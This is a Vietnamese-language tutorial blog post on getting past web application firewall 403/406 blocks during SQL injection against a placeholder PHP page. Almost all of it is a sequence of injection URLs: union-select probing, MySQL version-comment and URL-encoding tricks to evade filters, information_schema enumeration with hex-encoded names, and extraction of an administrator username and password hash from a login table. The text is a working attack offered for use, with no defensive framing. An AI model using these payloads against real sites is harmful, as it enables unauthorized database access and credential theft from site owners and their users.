Hướng dẫn bypass 403 khi SQL injection


Site : http://site.com/showpage.php?pid=3

Ta order by để tìm số column

http://site.com/showpage.php?pid=3+group+by+1   =>> bình thường
http://site.com/showpage.php?pid=3+group+by+2 =>> bình thường
http://site.com/showpage.php?pid=3+group+by+3 =>> bình thường
http://site.com/showpage.php?pid=3+group+by+4 =>> lỗi

Vậy là ta tìm đc 3 column

Tiếp tục tìm cột lỗi ta thử

http://site.com/showpage.php?pid=3+union+select+1,2,3

lỗi 406 tiếp tục bypass

http://site.com/showpage.php?pid=3+union+/*!select*/+1,2,3

lỗi 403 ta bypass tiếp

http://site.com/showpage.php?pid=3+union+/*!12345select*/+1,2,3

vẫn bị vẫn Forbidden

Tiếp tục bypass bằng cách encode 1 số kí tự

Các bạn có thể vào đây để xem chi tiết

http://www.greentea.markschwing1.com/unico.html

Thay : U = %55 T = %54 ta đc

" +%55nion+/*!12345selec%54*/+1,2,3 "

http://site.com/showpage.php?pid=3+%55nion+/*!12345selec%54*/+1,2,3

kết quả trả về không lỗi
ta thêm - sau ?pid= để hiện cột lỗi

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,3

và ta thấy cột lỗi là số 3

Tiếp đến ta tìm version

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,version()

=>>> Forbidden

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,@@version

=>> Forbidden

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,@@GLOBAL.VERSION

5.1.73-cll

Ok vậy là version 5

Tiếp tục tìm table_name

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,/*!12345table_name*/+from+information_schema./*!12345tables*/+limit+0,1

Vì filter nó đã chặn () nên ta phải sử dụng lệnh limit

Ta cứ tiếp tục limit 1,1 .. limit 2,1 .... đến khi nào tìm thấy table chứa thông tin admin

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,/*!12345table_name*/+from information_schema./*!12345tables*/+limit+34,1

=>> tìm được tables: login

Tiếp tục tìm column

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,/*!12345column_name*/+from+information_schema./*!12345columns*/+where+/*!12345table_name*/=0x6c6f67696e

=> Tìm được column: id

ở đây " 6c6f67696e " chính là mã hex của login
tiếp tục limit để tìm các column còn lại

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,/*!12345column_name*/+from+information_schema./*!12345columns*/+where+/*!12345table_name*/=0x6c6f67696e+limit+1,1

=> Tìm được column: user

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,/*!12345column_name*/+from+information_schema./*!12345columns*/+where+/*!12345table_name*/=0x6c6f67696e+limit+2,1

=>> Tìm được column: pass

Vậy là ta đã tìm đc tên column là user + pass

Bước cuối cùng là lấy thông tin admin

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,user+from+login

lấy được user là: administrator

http://site.com/showpage.php?pid=-3+%55nion+/*!12345selec%54*/+1,2,pass+from+login

pass là : 0e61d9a9c7b6910eab3d261d9d118ab6

Vậy kết quả cuối cùng ta thu đc là

administrator | 0e61d9a9c7b6910eab3d261d9d118ab6

Nguồn: NBT - ceh.vn

0 nhận xét